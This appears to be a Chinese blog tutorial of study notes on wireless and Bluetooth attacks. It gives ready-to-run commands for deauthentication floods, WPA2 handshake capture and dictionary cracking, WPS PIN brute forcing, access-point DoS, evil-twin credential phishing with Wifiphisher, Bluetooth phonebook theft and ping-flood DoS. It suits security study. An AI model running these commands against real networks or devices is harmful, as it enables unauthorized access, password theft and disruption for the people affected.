就是最近在学习无线网络以及蓝牙攻击,买的网卡也到了,这里就先分享其理论知识,后面在进行实操分享。
目录
一、无线技术以及攻击定义
无线技术:利用无线电频率和红外线在两个或者多个实体之间进行远距离传输通信的能力。无线技术主要包含了蓝牙技术和Wi-Fi。其中Wi-Fi主要提供远距离和高速的网络连接服务。蓝牙主要是为近距离的设备分享信息所设计的。
无线网络攻击:在无线网络安全测试中,最重要的点是连接无线接入点(AP)的工具--无线适配器。支持在无线网络测试过程中所使用的工具,尤其是aircrack-ng,无线适配器的芯片组和驱动程序必须具备向通信流注入无线数据包的能力。注入的数据包可以导致Dos,允许攻击者捕获破解密码或者其它无线攻击所需要的数据包。
二、无线网络攻击的类型
蹭网与带宽盗用:攻击者破解简单密码后,非法连接他人 Wi-Fi,占用网络带宽,影响合法用户使用。
Wi-Fi 钓鱼攻击:伪造与合法网络同名的虚假 Wi-Fi(如 “商场免费 Wi-Fi”),诱导用户连接后窃取账号、密码等信息。
密码破解攻击:通过暴力破解、字典攻击等方式,破解 Wi-Fi 的加密密码(如 WEP、WPA 协议的薄弱点),获取网络控制权。
中间人攻击:在用户与网络之间插入攻击设备,拦截、篡改双方传输的数据,例如窃取网银支付信息。
三、无线网络攻击步骤
1、无线网络侦察
首先需要识别准确的攻击目标AP,并突出显示其它可能会影响测试的无线网络。
通过使用iwconfig来确定可用的无线接口。如果说攻击者与目标AP处于同一个环境下,那么就可以通过复制正常的AP,然后与正常的AP相比增加伪AP的传输信号,以此来吸引受害者。增加传输信号,可以使用下面的命令:sudo iwconfig wlan0 txpower 30
首先,我们需要拦截或监控无线传输,那么需要使用airmon-ng命令来讲具有无线功能的通信接口设置为监听模式:sudo airmon-ng start wlan0
查看本地无线网络的环境变量,使用如下命令:sudo airodump-ng wlan0mon--此命令提供网络上无线节点的基本服务集标识符(BSSID),有MAC地址标识。
airodump可以识别以下信息:
BSSID:接入点的 MAC 地址,唯一标识无线网络。
ESSID:网络名称(SSID),即使隐藏 SSID 也可通过探测帧(Probe)解析获取。
信道(CH):AP 使用的无线频段(如 2.4GHz 的 1/6/11 信道),支持多信道轮询或固定信道监听。
信号强度(PWR):以 dBm 为单位,表示接收信号的强弱,数值越接近 0 信号越好。
Beacons:AP 发送的信标帧数量,用于维护网络存在和同步时间。
加密类型(ENC):支持识别 WPA3、WPA2、WPA、WEP 及开放网络。
加密套件(CIPHER):具体加密算法,如 CCMP(WPA2)、TKIP(WPA)、WEP40/104。
认证方式(AUTH):如 PSK(预共享密钥)、OPEN(无认证)。
最大速率(MB):AP 支持的最高传输速率(如 54Mbps、1300Mbps)。
WPS 信息:通过--wps参数可显示 WPS 版本、配置方法及 AP 锁定状态。
然后我们需要确认我们的无线适配器能够进行数据包注入,使用如下命令进行确认:
Sudo aireplay-ng -9 wlan0mon--这条命令表示注入测试,提供将数据包注入目标Wi-Fi的能力。
2、绕过隐藏ESSID
隐藏 SSID 的本质是 AP(接入点)在 信标帧(Beacon Frame)中不广播网络名称,但仍会通过以下方式泄露信息:
Probe Request/Response交互
客户端主动发送包含已知 SSID 的探测请求帧(Probe Request),AP 若匹配到该 SSID,会返回探测响应帧(Probe Response),其中明确携带完整的 SSID。
# 示例:使用Scapy构造探测请求帧from scapy.all import RadioTap, Dot11, Dot11ProbeReq, Dot11Elt, sendp
pkt = RadioTap() / Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2=client_mac, addr3=ap_mac) / Dot11ProbeReq() / Dot11Elt(ID="SSID", info="猜测的SSID") sendp(pkt, iface="mon0", count=10)
关联与认证过程
已连接客户端在断线重连时,会发送关联请求帧(Association Request),其中包含 SSID 字段。AP 在 四次握手(WPA/WPA2)或OWE 握手(WPA3)过程中也会暴露 SSID。
1. 被动监听法:等待合法客户端交互
Kismet:Linux 下的专业无线嗅探工具,支持自动识别隐藏 SSID,通过监控客户端与 AP 的通信获取网络名称。
Airodump-ng:Aircrack-ng 套件中的核心工具,在监控模式下可捕获 Probe Response 帧,并在输出中显示隐藏的 SSID(标记为<length: X>后恢复明文)aircrack-ng.org。
# 确认攻击机启用无线网卡
Sudo airmon-ng
#使用ifconfig命令查看可用网络接口以及确定系统无线网卡的名称
Ifconfig
#输入命令启用无线接口
Sudo airmon-ng start wlan0
#使用airodump确认可用的无线网络
Sudo airodump-ng wlan0mon--命令会输出如下信息
BSSID:接入点的 MAC 地址(唯一标识)。
PWR:信号强度(dBm),数值越接近 0 信号越强(如 -52 比 -78 信号好)。
Beacons:AP 发送的信标帧数量(用于广播网络存在)。
Data:捕获的数据帧总数;#/s:每秒新增数据帧数量(反映网络活跃度)。
CH:AP 使用的信道(2.4GHz 为 1-14,5GHz 为 36-165 等)。
MB:AP 支持的最大传输速率(如 130Mbps、54Mbps)。
ENC:加密类型(如 WPA2、WPA3、WEP、OPEN(无加密))。
CIPHER:加密算法(如 CCMP(WPA2)、TKIP(旧 WPA)、WEP)。
AUTH:认证方式(如 PSK(预共享密钥)、OPEN(开放认证))。
ESSID:网络名称(SSID)。若为隐藏 SSID,会显示为 <length: X>(X 为 SSID 字符长度),后续可通过客户端交互获取完整名称。
#在上述命令我们可以获得许多信息,但是ESSID是隐藏的,那么我们可以通过在此信道上进行信息收集
Sudo airodump -c CH wlan0mon--CH表示输出隐藏ESSID的信道
#那么我们就需要让客户端重新与AP关联,这样我们就可以获得隐藏的ESSID,所以我们可以发起取消认证洪水攻击,使用如下命令
sudo aireplay-ng -0 <攻击次数> -a <AP的BSSID> [-c <客户端的MAC>] <监听模式接口>
-0 <攻击次数>指定发送 Deauthentication 帧的数量:若为 0,表示无限发送(直到手动按 Ctrl+C 终止);
-a <AP的BSSID>目标接入点(AP)的 MAC 地址(即 BSSID,格式如 AA:BB:CC:DD:EE:FF),必须准确(可通过 airodump-ng 提前获取)。
-c <客户端的MAC>(可选)目标客户端的 MAC 地址(格式同上):若指定,仅攻击该客户端(使其与 AP 断开);若省略,将向 AP 下所有关联的客户端发送攻击帧(更高效但范围更广)。
<监听模式接口>处于监听模式的无线网卡接口(如 wlan0mon,需先用 airmon-ng start wlan0 启用)。
#那么取消认证洪水攻击结束后,我们就可以看到准确的ESSID
2. 主动触发法:强制 AP 响应
Deauthentication攻击
通过发送伪造的去认证帧,迫使已连接客户端断线并重连,从而触发 Probe Request/Response 交互。
# 使用aireplay-ng发起定向Deauth攻击
aireplay-ng -0 5 -a 00:1A:2B:3C:4D:5E -c 00:FF:EE:DD:CC:BB mon0-0 5:发送5次去认证包
-a:目标AP的BSSID
-c:目标客户端的MAC地址(可选,不指定则攻击所有客户端)
攻击后,客户端重连时会发送包含 SSID 的 Probe Request,Airodump-ng 可实时捕获。
3、绕过MAC地址认证和开放认证
1、绕过 MAC 地址认证
MAC 地址认证(MAC 过滤)是 AP 通过白名单 / 黑名单限制设备接入的机制(仅允许白名单中的 MAC 地址连接)。其缺陷在于:MAC 地址是设备发送的 “自报身份”,可被伪造。
核心原理:AP 仅验证设备发送的 MAC 地址是否在白名单中,不验证该地址与设备的物理绑定关系。因此,通过将攻击设备的 MAC 地址修改为白名单中的合法地址,即可绕过过滤。
#获取白名单中的 MAC 地址通过airodump-ng监听目标 AP 的通信,捕获已连接设备的 MAC(即白名单中的合法地址):
sudo airodump-ng -c <信道> --bssid <AP的BSSID> wlan0mon
在输出的 “STATION” 列中,记录已连接客户端的 MAC(如11:22:33:44:55:66)。
修改本地设备的 MAC 地址
Linux 系统:
# 关闭网卡接口
sudo ifconfig wlan0 down
# 修改MAC(替换为白名单中的地址)
Sudo ifconfig wlan0 hw ether mac地址//修改系统的mac地址
sudo macchanger --mac=11:22:33:44:55:66 wlan0
Sudo macchanger wlan0 -r //将mac地址修改为随机的MAC地址
# 重新启用网卡
sudo ifconfig wlan0 up
大多数的防护手段是通过MAC地址来进行过滤的,但是MAC地址是以明文进行传输的。只要获得可接受的MAC地址,那么就可以通过伪造来进行绕过。
2、攻击WPA和WPA2
1、暴力破解
攻击 WPA 和 WPA2(尤其是 WPA2-PSK,家庭 / 小型网络最常用的模式)的核心逻辑是捕获客户端与接入点(AP)的 “四次握手包”,再通过离线字典攻击破解预共享密钥(PSK,即 Wi-Fi 密码)。这种攻击利用了 WPA/WPA2 协议中 “握手包包含密钥验证信息” 的特性。
核心原理
WPA/WPA2-PSK 的加密流程中,客户端连接 AP 时会完成 “四次握手”:
AP 向客户端发送随机数(ANonce);
客户端生成自己的随机数(SNonce),并结合 PSK、ANonce、双方 MAC 地址计算出会话密钥(PTK),再用 PTK 加密 SNonce 发送给 AP;
AP 用 PSK 和收到的 SNonce 计算 PTK,验证客户端的加密结果,生成 “确认帧”;
客户端验证 AP 的确认帧,完成握手。
1. 准备工作:获取目标 AP 信息
启用无线网卡监听模式:
# 查看网卡名称(如wlan0)
ip link show
# 停止干扰进程(如NetworkManager)
sudo airmon-ng check kill
# 启用监听模式(生成wlan0mon接口)
sudo airmon-ng start wlan0
扫描目标 AP,获取关键信息:
sudo airodump-ng wlan0mon
记录目标 AP 的:
BSSID(AP 的 MAC 地址,如AA:BB:CC:DD:EE:FF);
信道(CH,如 6);
ESSID(网络名称);
确认加密方式为 WPA/WPA2(ENC 列显示 WPA2)。
2. 定向监听,捕获握手包
锁定目标 AP 的信道和 BSSID,开始抓包:
sudo airodump-ng -c <信道> --bssid <AP的BSSID> -w capture wlan0mon
-c:指定信道(避免信道切换导致漏包);
--bssid:锁定目标 AP;
-w capture:将捕获的数据包保存为capture-01.cap(后续破解用)。
3. 用字典攻击破解 PSK
使用 aircrack-ng 结合密码字典破解:
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
-w:指定密码字典(如rockyou.txt,需提前解压:sudo gunzip /usr/share/wordlists/rockyou.txt.gz);
capture-01.cap:之前保存的抓包文件。
破解成功标志:终端会显示KEY FOUND! [ 密码 ],即 Wi-Fi 密码。
如果没有自定义的密码字典,可以使用crunch来生成一个最小长度为5个字符,最大长度为25个字符的字典列表。也可以使用基于GPU的hashcat来进行破解,但是需要转换WPA握手捕获文件,使用以下命令来进行转换hashcat文件:sudo aircrack-ng *.cap -j <output.file>。
2、使用reaver对无线路由器进行攻击
Reaver 是一款针对无线路由器WPS(Wi-Fi Protected Setup,Wi-Fi 保护设置)功能的工具,其核心原理是通过暴力破解 WPS 的 PIN 码,进而获取 WPA/WPA2 的预共享密钥(PSK)。
WPS 是路由器提供的 “一键连接” 功能,支持通过 PIN 码(8 位数字)快速配置设备连接,无需手动输入复杂密码。其设计缺陷在于:PIN 码可拆分为前 4 位和后 3 位(第 8 位为校验位),总组合数约 11000 种(远少于密码字典),可被暴力破解;部分路由器对 PIN 码尝试次数限制宽松,允许攻击者反复测试。
Reaver 的工作流程是:
向开启 WPS 的路由器发送 PIN 码验证请求;
逐一测试可能的 PIN 码组合,直到验证成功;
从路由器获取 WPA/WPA2 的 PSK(即 Wi-Fi 密码)。
目标路由器必须开启 WPS:可通过airodump-ng查看 AP 信息中的 “WPS” 字段(如显示 “WPS: Locked=No” 表示可攻击):sudo airodump-ng --wps wlan0mon # 查看周围AP的WPS状态
#使用wash识别任意易受攻击的网络
sudo wash -i wlan0mon --ignore-fcs
#发现目标,使用以下命令攻击
Sudo reaver -i wlan0mon -b (BSSID) -vv
使用Reaver进行攻击,速度慢,容易失败,只是作为补充。
3、拒绝服务对无线通信的攻击
无线通信中的拒绝服务(DoS/DDoS)攻击,核心目标是通过干扰、消耗资源或破坏协议交互,使合法用户无法正常接入无线网络或使用服务。这类攻击利用了无线信号的开放性、协议设计缺陷或设备性能限制,具有实施成本低、影响范围广的特点。
1. 信号干扰攻击(物理层)
通过发射与目标信道同频段的无线电波,干扰 AP 与客户端的正常通信,使信号信噪比(SNR)过低,数据无法正确解码。
实现方式:
使用无线干扰器(如大功率 2.4GHz/5GHz 信号发生器),覆盖目标 AP 的工作信道;
利用民用设备(如微波炉、蓝牙设备)在 2.4GHz 频段产生杂波(效果较弱,但可能影响近距离网络)。
特点:无需了解网络细节,攻击范围取决于干扰功率,但可能影响周边无关网络(“无差别攻击”)。
2. 管理帧滥用攻击(MAC 层,802.11 协议漏洞)
802.11 协议中的管理帧(如认证帧、去认证帧、关联帧)默认不加密,攻击者可伪造这些帧破坏连接或耗尽资源。
(1)去认证 / 解除关联洪水攻击伪造 AP 向客户端发送去认证帧(Deauthentication Frame) 或解除关联帧(Disassociation Frame),强制客户端与 AP 断开连接,且客户端会不断尝试重连,形成 “断线 - 重连” 循环,无法正常通信。
工具实现:通过aireplay-ng发送大量伪造帧(之前提到的命令):
sudo aireplay-ng -0 0 -a <AP的BSSID> wlan0mon # 无限发送去认证帧
(2)虚假关联请求攻击伪造大量不同 MAC 地址的客户端,向 AP 发送关联请求帧(Association Request)。AP 需为每个请求分配内存记录连接状态,当请求数超过 AP 最大连接数(如家用路由通常支持 32-128 个设备),AP 会拒绝新的合法连接。
工具实现:使用mdk3(无线攻击工具)模拟大量虚假客户端:
sudo mdk3 wlan0mon a -a <AP的BSSID> # 向目标AP发送大量虚假关联请求
3、破坏启用WPA2的企业
企业用的是WPA-Enterprise。进行攻击需要枚举无线设备,在攻击连接的客户端,以找出身份验证细节。这里通过Wifite工具来获取无线AP的密码。Wifite 是一款自动化无线网络攻击工具,其核心功能是整合aircrack-ng、reaver等工具,简化对 WPA/WPA2、WEP 等加密网络的攻击流程(如自动捕获握手包、破解密码)。
Wifite 的作用是自动化攻击流程,减少手动操作步骤,其核心逻辑与之前提到的 WPA/WPA2 攻击一致:
扫描周围无线 AP,识别加密类型(WPA2、WEP 等)、信号强度、信道等信息;
针对选定的 WPA2-PSK 网络,自动启动监听模式,捕获客户端与 AP 的四次握手包;
若长时间未捕获握手包,自动发送 Deauthentication 帧强制客户端重连,触发握手;
捕获握手包后,调用aircrack-ng结合密码字典进行离线破解,输出最终密码。
启动 Wifite 并扫描目标
sudo wifite
工具会自动启用无线网卡的监听模式(需网卡支持),并扫描周围 AP,显示列表如下:
NUM ESSID BSSID CH ENC POWER WPS? CLIENT
1 HomeWiFi AA:BB:CC:DD:EE:FF 6 WPA2 -52 No 1
2 OfficeNet FF:EE:DD:CC:BB:AA 11 WPA2 -65 Yes 3
记录目标 AP 的编号(如1),按Ctrl+C停止扫描。
3. 针对目标 AP 启动攻击
sudo wifite -i <目标编号> # 如攻击编号1的AP
工具会自动执行:
- 锁定目标 AP 的信道和 BSSID;
- 监听并等待握手包(若有客户端);
- 自动发送 Deauth 帧(若需要);
- 捕获握手包后,调用aircrack-ng用内置字典(或指定字典)破解。
4. 破解成功的标志
终端会显示类似信息:Key found! [ 目标密码 ]
1、使用bettercap
Bettercap 是一款功能强大的网络流量拦截与攻击框架,支持对有线和无线网络进行渗透测试、监控与攻击,常被用于网络安全审计(需在明确授权的场景下使用)。其在无线网络中的应用主要围绕 802.11 协议分析、握手包捕获、客户端欺骗等。
1. 启动 Bettercap 并加载无线模块
sudo bettercap -iface wlan0mon # 指定监听模式接口(需先启用monitor模式)
#进入交互界面后,加载无线模块:
wifi.recon on # 开启无线扫描
#扫描结果会显示 AP 和客户端信息,例如:
[wifi] [AA:BB:CC:DD:EE:FF] HomeWiFi (WPA2-PSK, CH 6, -58 dBm)
[wifi] [11:22:33:44:55:66] Client (associated to AA:BB:CC:DD:EE:FF)
2. 定向捕获 WPA 握手包
#指定目标 AP 的 BSSID,开启握手包捕获:
wifi.assoc <AP的BSSID> # 锁定目标AP
wifi.handshakes on # 开始捕获握手包
#若长时间未捕获,可发送去认证帧强制客户端重连:
wifi.deauth <客户端MAC> # 向指定客户端发送去认证帧(需替换MAC)
捕获成功后,握手包会保存为/root/handshakes/<BSSID>.pcap,可用于后续aircrack-ng破解。
4、使用Wifiphisher进行Evil Twin攻击
使用 Wifiphisher 进行 Evil Twin(邪恶双胞胎)攻击可用于模拟钓鱼场景,测试网络防御能力。此类攻击的核心是创建与目标无线 AP 同名的虚假 AP,诱导用户连接后通过钓鱼页面窃取认证信息(如 Wi-Fi 密码、账号密码等)。
Evil Twin 攻击的核心原理
伪装 AP:创建一个与目标 AP(如 “Lab-WiFi”)同名的虚假 AP,通常设置无密码或更 “诱人” 的连接条件(如 “免费高速”),吸引用户误连。
干扰原 AP:通过发送去认证帧(Deauthentication)强制目标 AP 下的客户端断线,增加用户连接虚假 AP 的概率。
钓鱼页面:当用户连接虚假 AP 后,自动跳转至伪造的 “Wi-Fi 认证页面”“路由器升级页面” 等,诱导用户输入原 AP 的密码或其他敏感信息。
信息窃取:捕获用户在钓鱼页面输入的信息,完成攻击。
1. 安装 Wifiphisher
# Kali Linux通常预装,若未安装可通过源码安装
sudo apt update && sudo apt install wifiphisher -y
2. 扫描目标 AP 信息
使用airodump-ng获取目标 AP 的 ESSID(名称)、信道、BSSID 等信息:
sudo airodump-ng wlan0mon # wlan0mon为监听模式接口
记录关键信息:
ESSID:目标 AP 名称(如 “Lab-WiFi”);
CH:目标 AP 的信道(如 6);
BSSID:目标 AP 的 MAC 地址(如AA:BB:CC:DD:EE:FF)。
3. 运行 Wifiphisher 发起攻击
sudo wifiphisher -e "Lab-WiFi" -c 6 --essid "Lab-WiFi" -i wlan0mon
参数说明:
-e "Lab-WiFi":指定目标 AP 的名称(用于干扰);
-c 6:指定目标 AP 的信道(与虚假 AP 保持一致,增强迷惑性);
--essid "Lab-WiFi":设置虚假 AP 的名称(与目标 AP 同名);
-i wlan0mon:指定用于攻击的无线网卡接口。
攻击流程:
工具自动创建与目标 AP 同名的虚假 AP;
向目标 AP 的客户端发送去认证帧,强制其断线;
客户端搜索网络时,会优先显示信号更强的虚假 AP(可通过调整网卡功率增强信号);
用户连接虚假 AP 后,会被重定向至预设的钓鱼页面(如 “请重新输入 Wi-Fi 密码以完成认证”)。
四·、蓝牙攻击
一、物理层(Physical Layer,PHY)
物理层是蓝牙协议的最底层,负责无线信号的发送与接收,直接决定蓝牙的传输距离、速率和频段。
核心功能:
定义工作频段:主要使用 2.4GHz ISM 频段(全球通用,无需授权),通过跳频(FHSS)技术避免频段干扰。
调制方式:经典蓝牙(BR/EDR)用 GFSK 调制,低功耗蓝牙(BLE)用 GFSK(基础速率)或 π/4-DQPSK(高速率)。
传输参数:BLE 的传输速率分 1Mbps(基础)、2Mbps(增强);经典蓝牙支持 1Mbps、2Mbps、3Mbps,传输距离通常 10-100 米(视功率等级而定)。
二、链路层(Link Layer,LL)
链路层位于物理层之上,负责设备间的连接管理和数据帧处理,是蓝牙通信的 “连接核心”。
核心功能:
设备角色管理:定义主设备(发起连接的设备,如手机)和从设备(响应连接的设备,如耳机),经典蓝牙支持 1 主多从(最多 7 个从设备),BLE 支持 1 主多从或多主多从。
连接流程:处理设备发现(广播 / 扫描)、连接建立、连接维护(心跳包)和断开。
数据帧处理:将上层数据封装为链路层帧,添加帧头(地址、类型)和校验位,确保数据可靠传输;同时支持帧重传和冲突避免。
低功耗优化(BLE 专属):通过 “广播间隔调整”“连接休眠” 等机制降低功耗,延长设备续航。
三、逻辑链路控制与适配协议层(L2CAP)
L2CAP 是 “协议复用与数据适配层”,负责统一上层协议的接口,实现数据分段与重组,让不同上层协议(如 ATT、SDP)能共享链路层资源。
核心功能:
协议复用:为上层不同协议(如 ATT 用于 BLE 属性交互,SDP 用于经典蓝牙服务发现)分配逻辑信道,避免冲突。
数据分段与重组:当上层数据超过链路层最大帧长(如 BLE 默认 27 字节)时,L2CAP 将数据拆分为小帧;接收端再重组为完整数据。
服务质量(QoS)控制:为实时数据(如音频、视频)分配更高优先级,确保传输时延低、丢包率小(经典蓝牙的 A2DP 音频协议依赖此功能)。
四、属性协议(ATT)与通用属性配置文件(GATT)
ATT 和 GATT 是低功耗蓝牙(BLE)的核心应用支撑层,经典蓝牙较少使用,主要用于定义设备间 “服务 - 特征值” 的交互逻辑(如手环向手机传输心率数据)。
ATT(属性协议):
定义 “属性” 结构:每个属性包含唯一标识(UUID)、属性类型(如服务、特征值)、权限(读 / 写)和数据值。
提供基础交互命令:如 “读属性”“写属性”“通知”(设备主动推送数据,如心率实时更新)。
GATT(通用属性配置文件):
基于 ATT 构建 “服务 - 特征值” 层级:一个设备可提供多个服务(如 “心率服务”“电池服务”),每个服务包含多个特征值(如 “心率测量值”“电池电量值”)。
定义交互流程:如 “发现服务”(手机查找手环支持的服务)、“订阅特征值”(手机接收手环的实时心率通知),是 BLE 设备通信的 “通用语言”。
五、安全管理协议(SMP)
SMP 负责蓝牙设备间的安全认证与数据加密,保障通信不被窃听或篡改,支持经典蓝牙和 BLE。
核心功能:
设备认证:通过 PIN 码、NFC 配对或 “Just Works”(无密码快速配对)验证设备身份,防止非法设备接入。
数据加密:生成会话密钥,对 L2CAP 层以上的传输数据加密(加密算法为 AES-CCM),确保数据在传输过程中不被破解。
权限控制:限制设备对属性的访问权限(如某些特征值仅允许 “读”,不允许 “写”),防止敏感数据被篡改。
六、应用层(Application Layer)
应用层是蓝牙协议的最上层,由 “应用配置文件(Profile)” 和实际应用程序组成,定义具体场景的通信规则(即 “设备如何实现特定功能”)。
具体操作:
1. 蓝牙扫描与信息收集(被动探测)
目的:获取周围蓝牙设备的 MAC 地址、名称、设备类型、配对状态等信息,为后续攻击定位目标。原理:蓝牙设备在 “可发现模式” 下会广播自身信息(如设备名称、UUID 服务列表),通过工具可捕获这些广播包。
操作工具与步骤:
使用hcitool(Linux 蓝牙工具)扫描:
# 启动蓝牙适配器(hci0为默认接口)
sudo hciconfig hci0 up
# 扫描周围可发现的蓝牙设备
sudo hcitool scan# 输出示例:设备MAC地址 + 名称(如 "AA:BB:CC:DD:EE:FF Test-Headphones")
进阶信息收集(使用bluetoothctl):
bluetoothctl[bluetooth]# scan on # 开启扫描,获取设备详细信息(如RSSI信号强度、支持的服务)
2. 蓝牙配对劫持(针对弱 PIN 码)
目的:利用蓝牙配对时的弱 PIN 码(如 “0000”“1234”),通过暴力破解或欺骗获取配对权限,进而访问设备数据。原理:传统蓝牙配对依赖 PIN 码验证,若 PIN 码简单,攻击者可通过工具枚举可能的组合,完成认证。
操作工具与步骤:
使用btcrack(蓝牙 PIN 码破解工具):
# 捕获配对过程中的加密数据包(需在目标设备配对时运行)
sudo btcrack -i hci0 -a <目标设备MAC> -o capture.pcap
# 用字典破解PIN码(需提前准备弱PIN码字典)
btcrack -d pin_dict.txt capture.pcap
若目标使用 “Just Works” 无密码配对(BLE 设备常见),可尝试伪造配对请求(需设备支持低安全性模式)。
3. Bluejacking(蓝牙消息推送攻击)
目的:向处于可发现模式的蓝牙设备发送匿名消息(如短信、联系人),测试设备对未授权消息的过滤能力。原理:利用蓝牙 OPP(对象推送协议)或 PBAP(电话簿访问协议)的漏洞,向支持这些协议的设备(如手机)推送数据。
操作工具与步骤:
使用bluejack-ng:
# 向目标设备推送文本消息
bluejack-ng -t <目标设备MAC> -m "测试消息" -d hci0
攻击成功的标志:目标设备收到陌生消息弹窗(如 “来自未知设备的消息”)。
4. Bluesnarfing(蓝牙数据窃取)
目的:在未授权情况下,访问配对或未配对的蓝牙设备,窃取联系人、短信、文件等数据(针对旧版本蓝牙协议漏洞)。原理:利用蓝牙协议栈漏洞(如早期的 L2CAP 层缺陷)或配置不当(如允许未授权访问),绕过认证获取数据访问权限。
操作工具与步骤:
使用bluesnarfer(针对旧设备):
# 尝试访问目标设备的电话簿
bluesnarfer -b <目标设备MAC> -c 1 # -c 1表示读取联系人
5. 蓝牙 DoS 攻击(拒绝服务)
目的:通过发送大量无效数据包或恶意指令,使目标蓝牙设备崩溃、断开连接或无法响应合法请求。原理:利用蓝牙设备的资源限制(如内存、CPU),发送超出其处理能力的广播包、连接请求或畸形数据帧。
操作工具与步骤:
使用l2ping(发送大量 ping 包):
# 向目标设备发送超大尺寸ping包(可能导致设备死机)sudo l2ping -s 65535 -f <目标设备MAC> # -s 65535设置包大小,-f表示洪水模式
使用bluetooth-dos工具:发送畸形 L2CAP 帧,触发设备协议栈崩溃。
BlueZ工具
一、BlueZ 核心工具及功能
1. hciconfig:蓝牙适配器管理工具
用于配置和查询本地蓝牙适配器(如开启 / 关闭、设置可发现性、修改名称等),类似网络接口的ifconfig。
常用命令:
# 查看蓝牙适配器状态(hci0为默认适配器名称)
hciconfig
# 开启蓝牙适配器
sudo hciconfig hci0 up
# 关闭蓝牙适配器
sudo hciconfig hci0 down
# 同时允许被发现和被连接
sudo hciconfig hci0 piscan
# 仅允许被发现
sudo hciconfig hci0 iscan
# 仅允许被连接
sudo hciconfig hci0 pscan
# 修改适配器名称(如"Lab-BT-Adapter")s
udo hciconfig hci0 name "Lab-BT-Adapter"
# 查看适配器MAC地址
hciconfig hci0 | grep "BD Address"
2. hcitool:蓝牙设备交互工具
用于扫描周围蓝牙设备、查询设备信息、建立基础连接等,支持经典蓝牙和 BLE 的基础操作。
常用命令:
# 扫描周围可发现的经典蓝牙设备(名称+MAC)
sudo hcitool scan
# 扫描BLE设备(需蓝牙4.0+适配器)
sudo hcitool lescan
# 查看目标设备的详细信息(如支持的服务、版本)
sudo hcitool info <目标设备MAC> # 如 sudo hcitool info AA:BB:CC:DD:EE:FF
# 向目标设备发送ping请求(测试连接)
sudo l2ping <目标设备MAC> # l2ping是hcitool配套工具,基于L2CAP层
# 建立RFCOMM(串口仿真)连接(需目标设备支持)
sudo hcitool rfcomm connect 0 <目标设备MAC> 1 # 0为本地通道,1为目标通道
3. bluetoothctl:交互式蓝牙管理工具
BlueZ 5.0 + 引入的交互式工具,功能更全面,支持设备配对、信任管理、服务发现等,操作更直观,适合新手。
常用操作流程:
# 启动交互式界面
bluetoothctl
# 开启蓝牙适配器(若未开启)
[bluetooth]# power on
# 开启可发现模式
[bluetooth]# discoverable on
# 扫描设备(经典蓝牙+BLE)
[bluetooth]# scan on # 扫描结果会显示设备MAC、名称、信号强度(RSSI)
# 配对目标设备(需设备处于可配对状态)
[bluetooth]# pair <目标设备MAC> # 如 pair AA:BB:CC:DD:EE:FF# 若需输入PIN码,按提示输入(如设备默认0000、1234)
# 信任设备(允许自动连接)
[bluetooth]# trust <目标设备MAC>
# 连接设备(配对后建立通信)
[bluetooth]# connect <目标设备MAC>
# 退出交互式界面[bluetooth]# quit
4. sdptool:服务发现协议工具
用于查询蓝牙设备提供的服务(如音频服务、文件传输服务),通过 UUID 识别服务类型。
常用命令:
# 列出本地适配器提供的服务
sdptool browse local
# 查询目标设备提供的服务
sdptool browse <目标设备MAC> # 如 sdptool browse AA:BB:CC:DD:EE:FF# 输出示例:会显示服务名称(如"A2DP Audio Sink")、UUID、通道号等
5. rfcomm:串口仿真工具
将蓝牙连接映射为本地串口设备(如/dev/rfcomm0),用于支持串口通信的设备(如蓝牙模块、传感器)。
常用命令:
# 绑定目标设备到本地串口(需先配对)
sudo rfcomm bind 0 <目标设备MAC> 1 # 绑定到/dev/rfcomm0,目标通道1
# 解除绑定
sudo rfcomm release 0
# 查看已绑定的串口
rfcomm list
二、BlueZ 服务管理
BlueZ 通过系统服务bluetooth.service运行,需确保服务正常启动以使用上述工具。
# 启动蓝牙服务sudo systemctl start bluetooth
# 停止蓝牙服务sudo systemctl stop bluetooth
# 设置开机自启动sudo systemctl enable bluetooth
# 查看服务状态sudo systemctl status bluetooth
1317

被折叠的 条评论
为什么被折叠?



